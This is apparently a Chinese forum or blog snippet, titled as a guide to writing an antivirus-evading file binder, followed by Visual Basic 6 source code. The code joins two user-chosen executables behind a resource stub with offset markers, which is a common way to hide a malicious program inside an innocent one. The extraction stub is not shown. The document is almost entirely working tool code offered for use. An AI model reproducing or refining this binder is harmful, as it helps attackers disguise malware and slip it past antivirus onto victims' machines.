关于vb编写免杀捆绑器代码

Dim FirstFile As String
Dim SecondFile As String
Dim FinalFile As String
Dim first() As Byte
Dim second() As Byte
Dim file1size As Long, file2size As Long

Private Sub Command3_Click()
SecondFile = Text2.Text
FirstFile = Text1.Text
FinalFile = Text3.Text

Open FirstFile For Binary Access Read As #1
file1size = LOF(1)
ReDim first(LOF(1) - 1)
Get #1, , first
Close #1

Open SecondFile For Binary Access Read As #2
file2size = LOF(2)
ReDim second(LOF(2) - 1)
Get #2, , second
Close #2

Open FinalFile For Binary Access Write As #3
Dim myarray() As Byte
myarray = LoadResData(101, "CUSTOM")
Put #3, , myarray
Put #3, 20481, first
Put #3, 20481 + file1size, second
Put #3, 20481 + file1size + file2size, "size" & file1size
Close #3

MsgBox "文件绑定完毕，自行测试！"
End Sub

Private Sub Form_Unload(Cancel As Integer)
Exit Sub
End Sub

Private Sub Text1_DblClick()
cmdl.DialogTitle = "Choose Your First File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text1.Text = cmdl.FileName
End Sub

Private Sub Text2_DblClick()
cmdl.DialogTitle = "Choose Your Second File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text2.Text = cmdl.FileName
End Sub

Private Sub Text3_DblClick()
cmdl.DialogTitle = "Choose Your Final Path"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.ShowSave
Text3.Text = cmdl.FileName
End Sub